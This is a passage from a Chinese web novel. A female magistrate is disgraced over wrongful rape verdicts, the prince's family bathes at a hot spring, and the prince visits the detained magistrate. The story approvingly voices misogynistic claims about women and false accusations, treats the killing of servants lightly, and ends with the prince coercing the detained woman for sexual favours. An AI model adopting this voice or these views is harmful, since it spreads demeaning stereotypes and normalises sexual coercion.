“难怪翠莲这阵子总躲着大鹏,敢情是揣着坏心眼呢!” “快看那肚兜上的血!” “早知她不是省油的灯,去年还骗我说大鹏偷她绣绷呢!” 此言一出,百姓们更激动了。 “夏大人,您可不能再护着这种人了!” “再这么下去,全县就都是强奸犯了!” “就是啊!咱们平头百姓,可经不起这种官司折腾!"? “前阵子孙文案不也是么?全都是强奸!” 夏竹的指甲深深掐进掌心,望着刘翠莲蜷缩在地上的身影,突然觉得陌生。 这个月前还在她面前哭诉求告的女子,此刻像滩烂泥,任由父亲踢打,唯有睫毛在眼下投出颤动的影,像只怕光的蛾。 “够了!”王春生的惊堂木拍在案上,惊飞了梁上的麻雀,“公堂之上,岂容你撒野?” 他朝衙役使眼色,两名士兵立刻架住还想动手的刘屠户。 那胖子还在骂骂咧咧,肥肉随着挣扎抖个不停,活像被掀了盖的猪圈:“你个小贱人!敢把这事说出去,老子打断你的腿!” 刘翠莲趁机往墙角缩了缩,后背贴上冰冷的青砖。 她盯着王春生腰间的令牌,突然想起父亲昨夜的话:“只要你咬死了不松口,夏大人定会为你做主。” 可现在,夏大人望着她的眼神,像看一块发馊的馒头,连往日的温和都没了。? “大家静一静!”王春生的声音像把利刃,劈开了沸腾的议论。? 接下来的事情便顺理成章,王春生依律做出判决:刘屠户教唆女儿诬告、收受贿赂,罪大恶极,打入死牢,秋后问斩。 刘翠莲诬告伤人,打入死牢,秋后问斩。 大鹏无罪释放,刘屠户所收绸缎庄聘礼尽数赔偿大鹏损失。? 夏竹站在堂前,听着王春生的判决,看着堂下百姓鄙夷的目光和刘翠莲绝望的哭喊,只觉得脸上火辣辣的疼。 她一直坚信的正义,原来只是一场被偏执扭曲的闹剧。 而这场闹剧,差点毁掉一个无辜的人,也让她自己声名扫地,多年来为女子做主的信仰在铁证面前轰然崩塌。? 围观的百姓们见真相大白,纷纷感慨议论,有人同情大鹏的遭遇,有人痛骂刘屠户父女的贪婪,还有人对夏竹的断案能力表示质疑。 王春生看着夏竹失魂落魄的样子,没有再多说什么。 他知道,对于夏竹而言,真正的惩罚或许不是来自律法,而是内心的拷问与信仰的崩塌。而蓬莱县的天,经过这场闹剧,似乎也该放晴了。 他挥了挥手,示意衙役将人犯带下去,这场耗时良久的审判,终于落下了帷幕。 ...... 暮色漫进县衙后堂时,夏竹正在烛光下翻看孙文案的卷宗。 案头的油灯光映在她眼下的青黑里,像道永远褪不去的伤。 王春生的脚步声从廊下传来,靴底碾过青砖的细响,惊得她手中的朱砂笔在女子弱质四字上划出歪斜的痕。? “如果不出所料,蓬莱县所有强奸案都是在大鹏案之后发生的吧?夏大人对女子还真是无条件的保护呢。” 王春生的声音带着夜露的凉意,他站在门槛处,盔甲的阴影投在满地卷宗上,像道沉甸甸的门。? 夏竹没抬头,指尖抚过孙文案的验伤报告。 她亲自补写的批注墨迹未干,像根细针扎在眼上,让她想起当日公堂上,孙文的母亲哭着说:“我儿连姑娘的手都没碰过”时,自己是如何拍案怒斥妇人休得狡辩的。? “王大人深夜造访,只是为了讽刺本县?”她的声音比夜色更冷,却在抬头看见王春生手中捧着的黄大勋案宗时,喉间突然发紧。 那是她判的第一桩“丈夫强奸妻子”案,卷宗边缘还留着她拍案时溅上的茶渍。? 王春生没接话,将案宗轻轻放在她面前,泛黄的纸页间飘落一片干枯的茉莉花瓣。 “现在百姓对你的治理水平存在很大的疑虑,你说我要是回去告诉陛下或者世子,你会怎么样呢?” “想告就告,不用在本县这里假惺惺的。” “呵呵呵,我知道你想提高女子待遇,但不能什么事情都以女子第一来办,世子很讨厌因为价值观而背弃公平公正的人,所以我建议你重审这些强奸案,还百姓一个公道。” 夏竹还是连头都不抬:“本县自有分寸。” “如果你再这么装下去,你的抱负就要到此为止了。你不就是想证明女子不比男人差么?如果你县令的位置没了,也就代表陛下想提拔女子为官这件事情,彻底夭折。你对得起陛下对你的栽培么?” 夏竹的笔"当啷"落在砚台上,墨汁溅在袖口,像朵开败的墨梅。 她想起那个暴雨夜,慕容嫣将自己从千里迢迢之地叫到皇宫里,告诉她,女子该觉醒了,这天下不能总是男人的了,你要为这个历史性的决定迈出一大步。 夏竹是多么想为这个世界的女子做些什么啊。 王春生冷笑一声,从袖中抽出鎏金腰牌:“按《大乾刑律》,断案失公允者当移刑部候审。夏大人,你可知道这七桩错案,已让多少百姓夜叩登闻鼓?那大鹏的父亲为给儿子翻案,在衙门口跪了三天,结果还没抓了起来。” 烛火晃了晃,夏竹望着腰牌上的獬豸纹,想起上个月自己佩戴同款腰牌巡视街巷的场景。 那时百姓喊她青天大娘。 如今一夜之间,衙门口贴满女令误国的谤书。 “何时启程?”她的声音轻得像更漏声。? “急什么?”王春生突然放软声音,将羊角灯推近案头,照亮她眼下的乌青。 “天亮再走。但是我知道陛下会把你保下来的。”他顿了顿,“你应该清楚,陛下力排众议启用女官,不会因一桩案子就动摇。”? 她抬头望向王春生,烛影在他脸上投下明暗:“你究竟想说什么?”? “陛下保你,是念你初心未改。”王春生拖过雕花椅坐下,甲胄与木椅发出刺耳的摩擦声,“但你该明白,治县如烹小鲜。百姓要的不是青天大老爷,是能看清鞋底泥、数清柜中银的父母官。就说刘翠莲案,你可曾想过,她一个绣女为何能写出官样文书?”? 夏竹怔住了。 两个月前她总以为百姓要的是替女子撑腰的官,却忘了父亲们更怕儿子蒙冤,母亲们更怕女儿被利用。 王春生从袖中掏出个油纸包,展开竟是半片染血的衣襟:“这是孙文案中所谓施暴者的衣料,你看这丝线。这是蓬莱独有的冰蚕丝,全县只有绸缎庄少东家的衣袍用得起。你瞧,证据不会说谎。” “现代治理之要,首重证据。验伤要仵作签字画押,每道伤痕量三处所;查物要封存造册,连一片碎布都记明经纬;询次要邻右三人画押,且需隔街隔巷的旁证。千万不要信眼泪,尤其是女人的眼泪。” 王春生说着,自己好像也心有余悸的样子。? “其次是莫将男女分贵贱。”王春生敲了敲刘翠莲案的供词,“今日有位老妇人击鼓,说儿子被诬陷诱拐,只因为他替邻女捡了支簪子。你看这供词。那邻女收了绸缎庄五两银子,就敢指鹿为马。百姓要的是公平,不是偏袒。你偏袒女子时,可曾想过那些跪在公堂下的男子,也有母亲在村口盼归?” 夏竹盯着供词上的血指印,突然想起绣女投河前塞给她的玉佩,想起大鹏被押走时攥紧的定情帕。 她以为自己在筑墙保护女子,却不知这墙也挡住了真相的光。 “最后,治县要听闲言碎语......” “够了。"夏竹突然打断他,“你到底想说什么?” “我想说,陛下还会启用你,如果你再在某个地方为官的话,要记住我说的这些。以免,再次让陛下失望。” 第543章 带孩子泡温泉 朱雀大街的青石板路上,八抬官轿在晨雾中缓缓前行,轿夫的布鞋碾过昨夜未扫的槐叶,发出细碎的响声。 夏竹隔着青色鲛纱帘,望着街边百姓指指点点的身影,羊脂玉扳指在掌心沁出冷汗。 三日前在蓬莱县衙被王春生带走的场景还历历在目,如今却已身处京都,即将面对三司会审。? “夏大人,御史台到了。”王春生的声音从轿外传来,铁甲手套叩击轿杆的声音惊飞了檐角栖息的麻雀。 夏竹深吸口气,走下马车,任由狱卒替她除去官服上的玉牌,只留那枚女帝亲赐的羊脂玉扳指,在晨雾中泛着温润的光。 她知道,如果慕容嫣不出手,她的政治生涯算是彻底结束了,以后也不可能再有翻身的机会。 所以,她想了想,对王春生说道:“王大人,可否告知陛下一声?” “夏大人放心,世子很快就会知道这件事情。” 言外之意就是,你放心去你的,他们只是负责审判,但究竟如何林臻和慕容嫣会亲自下命令。 夏竹点了点头,走进御史台。 而王春生则是去往王府。 王府的温泉别院笼罩在蒙蒙水汽中,占地半亩的泡池如同一方嵌在大理石地面的琉璃镜,池底镶嵌的夜明珠在水中投下细碎荧光,恍若银河碎落人间。 青铜铸就的滑梯蜿蜒盘曲,顶端的喷水瑞兽口吐温流,在正午阳光中形成一道彩虹般的水幕,水珠飞溅在池边的汉白玉栏杆上,发出细碎的叮咚声。? 林臻赤裸着上身,噬心蛊的伤痕在水汽中若隐若现,怀中抱着还不满周岁的小承煜。 孩子穿着绣着金线金蟾的红色肚兜,藕节似的小胖手正抓着父亲胸前的伤痕,奶声奶气地笑着:“爹爹,滑滑!” 口水顺着嘴角滴落,在阳光中拉出亮晶晶的丝线,惊得池边木架上的金丝雀扑棱棱振翅。? “好!滑!滑!”林臻用鼻尖蹭了蹭儿子肉乎乎的脸颊,胡茬惹得孩子咯咯直笑,小脚在空气中乱蹬,肚兜上的金蟾在阳光下闪闪发亮。 他抱着孩子登上滑梯顶端,瑞兽的双眼嵌着鸽血红的宝石,在日光下流转着妖冶的光,仿佛下一刻便要腾空而起。 池边的晴雯穿着月白色蝉翼纱肚兜,纱料轻薄如雾,覆在肌肤上似有若无,隐隐透出雪玉般的肤色。 她跪坐在玉石台上洗头,乌发如瀑垂落,发间点缀的珍珠发簪随动作轻颤,水珠顺着发梢滚落,砸在雪肩上溅起细小的水晕,肌肤在水汽中泛着珍珠般的光泽,锁骨下方的凹陷处积着一汪清水,随着呼吸轻轻晃动,映得胸前的抹胸边缘也染上了水光。? “夫君,慢些!”晴雯转头叮嘱,腕间的翡翠镯与水面相碰,发出清越的声响,衬得手腕愈发纤细白皙。 她正用螺钿梳梳理长发,沉水香混着水汽渗入每根发丝,发间萦绕的香气与池中温水的暖意交融,在周身形成一圈若有若无的香雾。 眼尾的泪痣被水汽浸润,泛着淡淡的红,像朵开在雪地里的朱砂梅,笑起来时眼角微弯,泪痣便藏在睫毛的阴影里,平添几分少妇的妩媚。 “没事的!” “承煜才学会爬,可别让水呛着他。”她说话时,颈部的肌肤随着下颌动作轻轻拉伸,细腻的肌理在阳光下几乎能看清每道细小的绒毛,锁骨处的抹胸边缘被水洇湿,纱料紧贴肌肤,勾勒出优美的肩线。? 林臻回望妻子,见她坐直身子时,月白纱衣被水汽洇湿,腰间的系带松了半寸,露出盈盈一握的腰肢,纱料下的肌肤在夜明珠的荧光中泛着温润的光,像块被暖水浸泡的羊脂玉。 他笑着收紧手臂,手掌托住小承煜的屁股:“咱儿子可是四个月就会说话的天才,这点水算什么? 话音未落,已抱着孩子滑下滑梯,青铜滑梯在阳光下泛着暖光,父子俩的笑声混着水流声,惊飞了池边栖息的锦鲤。? “噗通!”水花四溅,小承煜的肚兜瞬间湿透,却笑得更欢了,小胖手拍打着水面,溅起的水珠落在林臻的战疤上,像给旧伤镀了层晶莹的光。 他仰头望着父亲,眼睛弯成两道月牙,奶声奶气地喊:“爹爹!爹爹!” 声音撞碎在水汽中,惊得池边石桌上的莲花灯轻轻摇晃。? 晴雯被逗得直笑,伸手替儿子抹掉脸上的水,指尖划过孩子肉乎乎的小腿,手腕内侧的肌肤在阳光下几乎透明,能看见淡青色的血管。 她的指甲修剪得圆润整齐,涂着淡淡的凤仙花汁,指尖掠过水面时,带起的涟漪在她手肘处的软肉上投下晃动的光影,肌肤随着动作轻轻颤动,像块凝脂在温水中化开。 “瞧你,浑身都成水娃娃了。”她说话时,胸脯随着呼吸轻轻起伏,抹胸边缘的纱料被水黏在皮肤上,勾勒出丰满的弧度,在水汽中显得格外柔和。? 林臻游到池边,望着妻子微微发红的脸颊,水珠顺着她的鬓角滑落,经过细腻的颧骨,掠过线条优美的下颌,最终滴落在锁骨下方的凹陷处。 他忽然伸手替她捋顺被水打湿的发丝,指尖触到她耳后的肌肤,细腻光滑得像丝绸,还带着沉水香的温热。 “雯儿,为什么为夫发现你今天好美?” “且,花言巧语的,若是美,你为何天天在婉儿姐姐房间里?” “这...那是为了治病嘛。” “她需要治病,难道妾身就不需要了?你是看妾身最近太乖,好欺负了吧?” “没有没有,要不我带你一起玩滑梯?” 晴雯笑着摇头,发间的珍珠发簪却在动作间不慎滑落,掉入水中。 她正要起身寻找,腰肢轻扭时,纱衣在腰间绷出优美的弧线,臀部的轮廓透过湿纱隐约可见,肌肤在水中泛着健康的光泽。 末了,她又浮上来,摸了下脸说道:“坏了夫君,找不到了。” 她话音未落,却见林臻已一个猛子扎入水中,池中夜明珠的荧光在他脊背划过,形成一道流动的光带。 片刻后,他举着发簪浮出水面,珍珠上挂着的水珠在阳光下晶莹剔透,像串起了整个春天的晨露。? “给你。”林臻甩了甩头发,水珠飞溅在晴雯的肚兜上,换来她一记娇嗔的白眼。 她接过发簪时,手腕内侧的肌肤与他的指尖相触,细腻的触感让林臻心头微动。 她低头整理发簪,颈项间的肌肤在阳光下泛着蜜色的光,发间的水珠滴落在抹胸边缘,顺着胸口的弧线滑落,消失在纱衣深处。? 他爬上岸,水珠从精壮的胸膛滚落,在大理石地面上砸出小小的水痕,忽然瞥见池边的玉狮子雕塑。 小承煜正抱着狮子的前爪啃咬,口水顺着下巴滴落在狮子眼睛上,逗得晴雯直不起腰。 “这臭小子,连玉狮子的脚都要尝尝味道,长大了肯定也是个恋足的。” 他走过去抱起孩子,小承煜立刻搂住父亲的脖子,湿乎乎的肚兜蹭得林臻胸前一片水渍,却换来他一声低笑。 “老爷,王春生回来了,在中堂等候呢。”浣碧抱着浴巾站在月洞门边,小脸涨得通红。 她低头盯着脚尖,不敢直视池中半裸的两人,手中的浴巾却不小心滑落,她大叫一声,急忙抓住。? 林臻这才想起正事,赶忙接过浴巾裹在腰间,水珠从他肩背的战疤上滚落,在浴巾上晕开深色的印记。 浣碧拿来金丝毛巾轻轻给她擦拭。 “看好儿子,我去去就来。”林臻弯腰在小承煜额头落下一吻,孩子正抓着他的耳垂不放,口水滴在他手腕上,热乎乎的。 晴雯笑着接过孩子,坐在池边的玉石台上,小承煜立刻趴在她肩头,胖手抓着她湿漉漉的长发玩耍。 温泉池的水汽漫过雕花窗格,将这一幕衬得如梦如幻。 晴雯望着丈夫离去的背影,又低头看着怀中的孩子。 只见他正对着池中的锦鲤咧嘴笑,小乳牙在阳光下白得发亮。 她伸手蘸了蘸温水,轻轻抹在孩子背上。 小承煜突然指着滑梯,奶声奶气地喊。 “娘,滑滑!” 晴雯笑着摇头,替他捋顺被水黏在额前的发丝,指尖触到孩子柔软的胎毛,心中满是温柔。 “等爹爹回来再带你玩,好不好?” 孩子却不依,扭动着身子要往水里扑,惹得晴雯一阵轻笑,只得抱着他坐在池边,让小脚轻轻拍打水面。? 水花溅起,打湿了她的肚兜下摆,纱料贴在大腿内侧,透出肌肤的淡粉色。 她望着池中摇曳的莲花灯,想起方才林臻抱着孩子滑滑梯的模样。 那个在战场上杀人如麻的世子,此刻却在池边为孩子捡发簪,为妻子捋发丝,心中忽然满是温柔。? 远处传来中堂的说话声,隐约能听见林臻与王春生的大声。 晴雯低头看着小承煜,见他正盯着池底的夜明珠发呆,小手在水面上拍打出小小的涟漪。 阳光穿过水幕,在孩子脸上投下晃动的光斑,也照亮了她的侧脸——高挺的鼻梁,小巧的嘴唇,眼尾的泪痣在光影中若隐若现,肌肤在阳光下几乎看不到任何瑕疵,只有淡淡的红晕点缀在颧骨处,像朵盛开的桃花。? 她忽然想起林臻去年说的话。 他说要建个温泉池,让家人在冬天也能戏水,让孩子在温暖的水里长大。 如今,池中的青铜滑梯、夜明珠、喷水瑞兽,都成了现实,而怀中的孩子,正用他的笑声,为这奢华的池畔增添最动人的温情。 晴雯低头看着自己的肚兜,月白纱衣经过水汽的浸润,愈发显得柔和,像团温暖的云裹着她细腻的肌肤。 她忽然觉得,这样的时光,便是上天最好的馈赠,让她在身为母亲的温柔中,依然保有少妇的美丽与魅力。? “唉,想想曾经的那些事,真是不应该。” 晴雯喃喃自语了一句。 浣碧听到后,笑着走过来,也坐在温泉池边上,两脚自由的荡在水中。 “又感慨什么呢?” 晴雯与浣碧的关系是最好的,因为两人都是丫鬟出身,本身就有些心心相惜的感觉。 浣碧进府要比晴雯更早,因为细心得体所以才被派来伺候林臻。 晴雯被卖进王府的时候已经十二岁了,也是因为家里条件不好,后来便与浣碧她们相处甚欢,以至于直接爬上了林臻的床。 晴雯看了看她,不自觉的往抹胸往上拽了拽:“感慨以前的事情啊,其实当初真应该多给我儿子积点福的,否则他眼睛也不会这个样子。” “呵呵呵,感慨这些做什么,你不杀小翠,夫君才不会喜欢你呢。” “小翠那丫头就该死,敢背叛夫君,鸩杀简直便宜她了。” “那你感慨什么呢?” “口德啊!当初说话那么招人讨厌,还和王爷对着干,现在想来有点后悔。倒不是说杀那几个垃圾。” 浣碧也叹了口气:“唉,你说你也真是的,大家不过传几句闲话,你就杀了那么多人。虽说夫君没有多管,但是家里都有意见了。现在月妩姐姐刚怀孕,青霞姐姐也在准备临盆,顾缜就别说了,大门不出二门不迈的,就安心养胎。要我说,以后你还真得控制控制自己,可不能动不动就杀人了。” “你少假惺惺的,你就没替夫君干过脏事儿?” “没有啊,夫君从不让我去做那些事情。” “那是看你单纯,没什么心机!否则你以为夫君会不利用你吗?眼下大乾正是上升时期,夫君身边缺少可信任的人,更是缺少能用的人,否则给陈墨小舅子家平反的案子会派一个虎贲营的护卫去办?所以说,我们也得想办法帮帮夫君才行。” 浣碧摇摇头:“我除了伺候夫君意外什么都不会,这种事情还是你们来吧。” “这有什么不会的......” 两人的话还没说完,晴雯的贴身丫鬟走了过来,说:“夫人,外面有个自称是您弟弟的人,来王府找您。” 晴雯眉头一皱。 她确实有个弟弟,但很多年都不来往了。 “叫什么名字?” “说是叫许鸣。” “还真是我弟弟,罢了,我去看看。”说着话,晴雯起身,将孩子交给丫鬟:“给孩子擦干了交给奶娘。” “是,夫人。” 第544章 见夏竹 定北王府的中堂里,青铜烛台上的九枝灯树正燃得明亮,牛油烛的光晕在墙壁上投下摇曳的影,将绘着《山海经》神兽的屏风映得影影绰绰。 王春生穿着半旧的山文甲坐在紫檀椅上,手按剑柄的姿势却始终保持着护卫营的标准。 腰杆挺直如枪,膝头并拢成线,唯有目光不时扫向雕花木门,铠甲下的中衣已被冷汗浸透,在初春的夜风中透出丝丝凉意。? “大人请用茶。”清脆的嗓音打破寂静,青衫丫鬟捧着青瓷茶盘推门而入,月白裙裾扫过门槛时带起淡淡沉水香。 茶盘上三只莲瓣形茶盏精巧玲珑,盏中云雾茶正腾起袅袅白烟。 王春生慌忙起身,甲胄相撞发出细碎的轻响,双手接过茶盏时竟有些颤抖:“啊!有劳姑娘!” 他什么时候被丫鬟伺候过?都是他伺候别人的。 这突然来一下还真有点不太适应。 更何况这个丫鬟长得好生乖巧。 其实他不知道,王府卖丫鬟的规矩早就改了。 现在是胖的不要,身材不好的不要,年龄大的不要,长相丑陋的不要,皮肤太黑的也不要,说话办事儿不利索的不要。 规矩忒多,但依旧有很多被卖的女儿想进王府工作,因为王府待遇好啊! 不仅没有那些乱糟糟的关系和事儿,还有很高的工钱可以拿。 如果谁家里的丫头可以进王府,那几乎全家都不用愁饭吃,还会有机会晋升,解决家里的问题。 王春生注意到丫鬟鬓角别着的茉莉花新鲜欲滴,想来是刚从后园摘下的。? 丫鬟低头躬身,裙摆扬起的角度分毫不差:“大人客气了,这是世子爷特意交代的明前云雾茶,产自蜀地蒙山。” 她退下时,脸蛋还红红的,也不知道是看上了王春生还是如何。 木门吱呀一声再次推开,林臻披着墨绿织金外袍大步流星走进来,胸膛大半敞着,古铜色肌肤上一道斜贯上腹的旧疤在烛火下泛着淡红的光。 他抬腿将雕花脚踏踢到一旁,径自坐在主位上,左脚踩在椅子上,右肘搭着扶手,姿态随意得像是在自家炕头,腰间的玉佩随着动作轻轻晃动,发出清脆的响声。? “辛苦了,说吧,蓬莱那边到底什么情况。”林臻的声音带着几分慵懒,却在触及王春生的目光时骤然一凛,显是从温泉池的温情中迅速切换到了公事公办的状态。? 王春生赶忙抱拳,铠甲的金属扣环发出轻响:“世子折煞属下了。” “回世子,蓬莱那边...”王春生从袖中掏出卷宗,把蓬莱发生的以为都告诉了林臻。 “现在夏竹已经移交御史台,过段日子会三司会审。” “原来是个女县令,难怪啊。” 林臻想起慕容嫣要提拔女官的事情,但没想到她居然偷偷安排了个女县令。 幸亏陈墨过来报告,自己又派人去调查,否则再坚持几天还指不定出现什么乱子呢。 丈夫和妻子行房能判强奸,订了婚圆房也叫强奸,就连没奸进去都叫强奸。 但凡只要是对女人不利的,就都要上纲上线,而男人只能吃亏,无处申冤。 幸好自己阻拦的及时啊。 王春生想起夏竹在公堂上的模样,那个曾穿着赤罗官服、手持惊堂木的女县令,此刻却在候审牢房里写证据清单到深夜,笔尖在羊皮纸上沙沙作响。 “其实属下临走前,本想告诉她该如何断案,可...她只说罪在偏听,却不愿听属下半句劝,眼中满是倔强。”? “不听才是正常的。”林臻忽然坐直身子,目光如刀,“这样的女子,身上都有股子疯魔般的偏执,说不准她内心还有缺陷,对男人有恨意。” “这是为何呢?” “谁知道,或许她受过男人的欺负,也或许她看男人主导社会几千年,看不惯了呗。” “真是岂有此理,她若是我的女人,肯定要吊起来狠狠打一顿不可。” “我觉得你说的有道理,但你该不会是喜欢上她了吧?”林臻表情有些玩味。 王春生一愣:“没有啊。” “我劝你不要有这样的想法。因为你若和她相处久了就会发现,她这个年龄还不嫁人都是有原因的,而年龄大其实是她最小的缺点。” 王春生点头,说道:“世子所言极是,她总说女子贞洁重于泰山,却不知泰山也有崩颓之日。属下亲眼看见稳婆拿着验伤报告手都在抖,可她连看都不看就扔在一旁。可若放任她再为官,怕是又要误判,伤了百姓对律法的信任。”? “呵,那是自然的,不过这个女人我们不能插手处置。你看着吧,就算三司会审,陛下也会把她保下。” “世子的意思,她会官复原职?” “不会,陛下不是傻子,知道这个女人有问题,所以会让她从类似县丞之类的二把手做起,也算敲打敲打。因为真正的律法,从来不是拍惊堂木拍出来的,是俯下身来,把每粒尘埃都看进眼里。” 王春生恍然大悟。 “倒是你,该换换地方了。”林臻忽然盯着他的眼睛,目光灼灼,仿佛要将他看穿。 “跟着曹雄在护卫营当警卫员,简直是拿屠龙刀杀鸡。” 他扔过去一封火漆密封的文书,封面上刑部候补主事的朱砂印鲜艳夺目。 “明日去刑部报道,跟着张尚书学断案。学成之后去芜县当县令,现在南边不太平,总有些亲楚的官员还坏事儿。你有练兵的经验,心思也细腻,你去正合适。”? 王春生手忙脚乱接过文书,只觉得掌心发烫,封面上的官印刺得他眼眶发热。 “世子...属下何德何能...不过是个护卫...”? “别跟我来这套,我说你行,你当然行。今年的科举推迟到端午了,正是需要人的时候。你即刻去吧,我还有事情。” 王春生握紧文书,泪水在眼眶中打转,却被他硬生生逼了回去。 “谢世子栽培!属下愿为世子赴汤蹈火,在所不辞!” “得了得了。”林臻笑着踢了踢他的甲胄,“少来这套虚的。” 说完忽然起身披上外袍,腰带随意一系,却自有一股威严。 “我要去御史台见见这位女县令,看看她究竟长什么样能让陛下如此器重。” “那属下陪您一起。” “也好。”? ...... 暮色四合,天际最后一缕霞光被御史台飞檐上的兽首吞没。 林臻踩着青石板上斑驳的光影缓步而行,玄色大氅在晚风中猎猎作响,腰间玉佩与佩剑相击,发出清脆的声响。 王春生与侯春一左一右跟在身后,甲叶摩擦的沙沙声在寂静的甬道中格外清晰。 “世子,御史台酉时三刻便闭门谢客了。”侯春压低声音提醒。 林臻脚步未停。 这个国家,还没有他不能见的人。 很快三人来到御史台大门前。 衙役本来正在打瞌睡,见林臻过来浑身抖个机灵,膝盖一软便跪了下去,额头重重磕在青砖上:“参、参见世子!” 声音抖得像风中残叶。 林臻轻笑一声,踏过门槛时带起的气流拂动衙役的衣角:“带我去见夏竹。” “是!夏大人关在丁字三号院。”衙役连滚带爬起身,腰牌在腰间撞得叮当响,“小的这就带路,这就带路!” 御史台的院落布局如棋盘规整,却比棋盘多了三分森严。 每道月洞门旁都立着石碑,刻着刑不上大夫的篆文。 林臻经过乙字院时,忽听得墙内传来压抑的咳嗽声,混着铁链拖地的声响,在暮色里拖出长长的尾音。 “世子请看,这便是丁字院。”衙役点头哈腰推开斑驳的朱漆门,腐木特有的霉味混着墨香扑面而来。 王春生下意识跨前半步,却见林臻摆手示意他止步。 院中槐树已抽出新绿,细碎的叶子筛下零星光斑。 夏竹正坐在树下的石桌旁执笔书写,素色交领长衫裹着单薄身躯,却掩不住颈间一截凝脂般的肌肤。 听见动静,她执笔的手微微一顿,墨汁在宣纸上洇开一朵墨梅。 林臻的视线掠过她消瘦的肩头,最终定格在微微起伏的胸脯上,腹中暗笑,这女县令倒生得副好皮囊,难怪能让蓬莱县的乡绅们失了分寸。 “夏大人,世子来看你了。”王春生上前半步,声音里带着自己都未察觉的急切。夏竹这才放下狼毫,起身时衣袂扫过石凳,惊飞了落在上面的麻雀。 “下官参见世子。”夏竹起身时衣袂扫过石凳,惊飞了落在上面的麻雀。 林臻这才发现她腕间系着褪色的月白绸带,衬得肌肤愈发苍白,却将胸前丰盈勾勒得愈发明显。 御史台竟连个像样的刑具都未上,倒像是特意留着这抹春色给贵人赏鉴。 “夏县令好兴致。”林臻踱到石桌前,指尖拂过未干的墨迹。 他忽然倾身,温热的气息拂过夏竹耳畔:“在写《女诫》还是《女训》啊?” 这话带着三分戏谑。 夏竹后退半步,后腰撞上槐树粗糙的树皮。 她却抬眸直视林臻,三十四岁的妇人眸光竟比少女更灼人:“下官从来不写那些限制女子的文字,而是在写《蓬莱水利疏》,昨日观星台报说黄河将有汛情。” 她转身时,林臻瞥见宣纸边缘密密麻麻的批注,竟是用朱砂笔写的注解,字迹力透纸背。 林臻反手握住那只递账册的柔荑,触手温软如玉,却带着练字磨出的薄茧。 这个动作过于大胆了。 以至于侯春和王春生都是面面相觑。 府里那么多漂亮夫人,而林臻却还在勾搭别的女子。 果然啊,男人都是喜新厌旧。 殊不知,林臻根本没有这个想法。 “夏县令。你在蓬莱的所作所为本世子已经知道了,你可知道你会面临什么处罚吗??” “不管是什么处罚,你先放开我。”夏竹缩了缩手,但没能抽出去。 第545章 我死也不会让你碰我 夜色已浓,浓得仿佛化不开的墨。 林臻一手背在身后,另一只手牢牢地抓住夏竹的手腕,动作看似随意,实则带着不容挣脱的力道,目光也不停的在她身上、脸上打转。 其实夏竹的身材在女子中算得上比较高挑的,虽然和刘妙颜、青霞没法比,但走在大街上也绝对是鹤立鸡群的效果。 此刻她脊背挺得笔直,即便身处囹圄,那双明亮却沉静的眼眸里,依旧残留着属于一方父母官的坚毅与倔强。 这双眼睛,林臻很喜欢。 他的手掌干燥而温热,带着习武之人和养尊处优者的力量感。 拇指轻轻摩挲着夏竹的手背。 那手背的皮肤在昏黄的灯光下,显出一种近乎透明的白皙和光滑,仿佛从未经历过风霜。 这份细嫩与他所知的官场浮沉、边地艰辛格格不入,引发了他一丝探究的兴趣。 然而,当他修长的手指顺着她的指缘,有意无意地滑向她的掌心时,触感却骤然不同。 那掌心,布满了薄薄的、粗糙的茧痕。 这不是操持农具或兵刃留下的厚重老茧,而是经年累月,无数次提笔、悬腕、批阅公文、书写奏章时,笔杆反复磨砺而生的特殊印记。 这层薄茧,是身份的烙印,更是心血与勤勉的见证。 如果不是因为看到她写治理洪水的公文,林臻都不想摸她。 而之所以摸摸她的手,是想看看她究竟有没有作秀。 “啧。”林臻微微挑眉,声音不高,却清晰地钻进夏竹的耳中,带着一种居高临下的玩味,“夏县令这手,倒真是妙极。手背光滑柔嫩,比京城许多闺阁小姐还要细软,这掌心...却是这般坚韧,想必这一手清隽有力的小楷,必是耗费不少灯烛下苦功吧?” 他的目光牢牢锁在她脸上,不错过她任何一丝细微的表情变化。 夏竹用力想要抽回自己的手,那力道带着压抑的愤怒,指节都因用力而泛白。 但林臻的手如同铁钳,纹丝不动。 她只能扬起下颌,直直地迎向他的目光,那双清澈的眼眸里没有泪,只有傲人的寒冷。 “世子殿下好眼力,也好兴致!”她的声音清冷,字字清晰,带着被侵犯的屈辱和讽刺,“下官读书三十年,又为官三月,不敢说鞠躬尽瘁,但这双写尽民生诉状、判尽黎庶冤屈的手,竟要在这御史台的囹圄之中,供世子评头论足,真是下官的荣幸!” 她刻意加重了最后四个字的咬音。 林臻对她的讽刺毫不在意,反而低低地笑了起来。 他不但没有松手,反而将她的手又拉近了几分,几乎是凑到了自己的眼前,像是在欣赏一件奇珍。 他放低了声音,带着蛊惑般的低语,气息拂过夏竹耳畔,激起她一阵厌恶的颤栗: “夏县令,你这般硬气,又何必受这份牢狱之苦?若你肯放下身段,开口求一求我,以我的身份和面子,让你官复原职不过一句话的事情。” “求你?”夏竹几乎是从齿缝里挤出这两个字,仿佛它们是世间最污秽的毒物。 她的胸脯剧烈起伏着,显然在极力压制翻腾的情绪。 她猛地转过头,冰凌一般的目光直刺林臻,那眼神中的鄙夷和愤怒几乎要化为实质的火焰,“呵呵呵,我万万没想到,那个名震天下,在朝堂上翻云覆雨、一言九鼎的王府世子林臻,私底下居然是个喜好亵玩女囚的色魔!” “色魔?哈哈哈哈。”林臻像是听到了什么极其可笑的事情,非但没有动怒,反而爆发出一阵更加响亮的笑声,在空旷的院落里回荡。 他微微眯起眼睛,像在打量一个不识时务又充满幼稚挑衅的孩子,“夏竹啊夏竹,你真是在穷乡僻壤待得太久了么?还是当县令当得忘了人间真实?” 他向前逼近一小步,强大的气场几乎将夏竹罩住。“这天底下的男人,有几个不好美色?孔圣人尚且有言‘食色性也’。” 他的视线毫无避讳地在她精致的眉眼、挺直的鼻梁和倔强紧抿的唇瓣上扫过,那目光极具侵略性,像是在评估一件物品的价值。 “更何况夏县令虽已年过而立,但这般风韵犹存,眉宇间的英气更是难得,如此美貌与才情兼具的女子,落入这御史台这等腌臜之地,明珠蒙尘,岂不可惜?” “若你愿意顺从我,乖乖的做我的女人。那么,你的案子,我自有办法让它烟消云散。不止如此,我更能保你官运亨通,平步青云。如何?这笔交易对你而言,稳赚不赔。”那赤裸裸的字眼让夏竹身体瞬间僵硬,一字一句清晰地敲在夏竹的心上。 “无耻!”夏竹只觉一股热血直冲脑门,所有的愤怒和屈辱在瞬间爆发。 她用尽全身力气,猛地一甩手,这一次,林臻似乎有意放松了力道,让她得以挣脱。 